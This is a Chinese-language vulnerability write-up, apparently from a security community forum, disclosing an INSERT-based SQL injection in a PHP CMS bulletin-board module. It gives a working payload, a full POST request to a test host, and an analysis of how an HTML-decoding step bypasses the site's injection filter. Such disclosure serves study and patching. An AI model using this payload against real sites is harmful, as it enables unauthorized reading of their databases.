0x01前言看到以前的版本爆了挺多洞的,想看看这个新版本还有没有漏洞给我捡一下,结果还真捡到,然后分享一下给大家。 0x02 payload复现payload(单引号要htmlencode):’’’sql&x27;,&x27;…
0x01前言
看到以前的版本爆了挺多洞的,想看看这个新版本还有没有漏洞给我捡一下,结果还真捡到,然后分享一下给大家。
0x02 payload复现
payload(单引号要htmlencode):
','2021-08-21 17:17:29',21,1,1),('exp',(database()),'2021-08-21 17:17:29',21,1,1)#
数据包:
POST /bbs/bbs.php?action=add HTTP/1.1
Host: 172.20.10.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 304
Origin: http://172.20.10.8
DNT: 1
Connection: keep-alive
Referer: http://172.20.10.8/bbs/bbs.php?S_id=1
Cookie: PHPSESSID=rkb7d7qf44jan12nbq3vjf07nb; Hm_lvt_b60316de6009d5654de7312f772162be=1629536828; Hm_lpvt_b60316de6009d5654de7312f772162be=1629536867; CmsCode=b4ia
Upgrade-Insecure-Requests: 1
B_title=aaa&B_sort=1&B_content=%3Cp%3E%26%2339%3B%2C%26%2339%3B2021-08-21+17%3A17%3A29%26%2339%3B%2C21%2C1%2C1%29%2C%28%26%2339%3Bexp%26%2339%3B%2C%28database%28%29%29%2C%26%2339%3B2021-08-21+17%3A17%3A29%26%2339%3B%2C21%2C1%2C1%29%23%3C%2Fp%3E&code=09a7r7WJR1biC4zstFVg8TZGumpKbxfBC4MObWBIzvfDWoDFaSAavw
0x03分析
在/function/function.php文件中,通过inject_check方法对post传参进行了全局的sql注入过滤
而在9-25行中,又对传参进行了转义
正常来说,这样已经是写死的了,无法造成sql注入
但是回到漏洞文件/bbs/bbs.php中
在add方法里
B_content传参被带进了removexss方法中
然后赋值$B_content
跟入removexss方法里
这行代码的意思就是将htmlencode的字符给decode了
当我传入'
时,它传入的内容decode为单引号
所以,当我们输入一个'
时就可以进行sql注入
而该注入是insert注入
mysqli_query($conn, "insert into ".TABLE."bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('" . $B_title . "','" . $B_content . "','" . date('Y-m-d H:i:s') . "'," . $_SESSION["M_id"] . "," . $B_sort . "," . $B_sh . ")");
$B_content是我们可控的,所以可以通过该sql语句直接构造出payload
Payload(要对单引号进行htmlencode):
','2021-08-2117:17:29',21,1,1),('payload',(database()),'2021-08-2117:17:29',21,1,1)#
我们最终去数据库中查询的语句是
insertintoSL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh)values('xxz','','2021-08-2117:17:29',21,1,1),('payload',(database()),'2021-08-2117:17:29',21,1,1)#','2021-08-2117:17:29',21,1,1)
- 本文作者: 修仙者
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/532
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!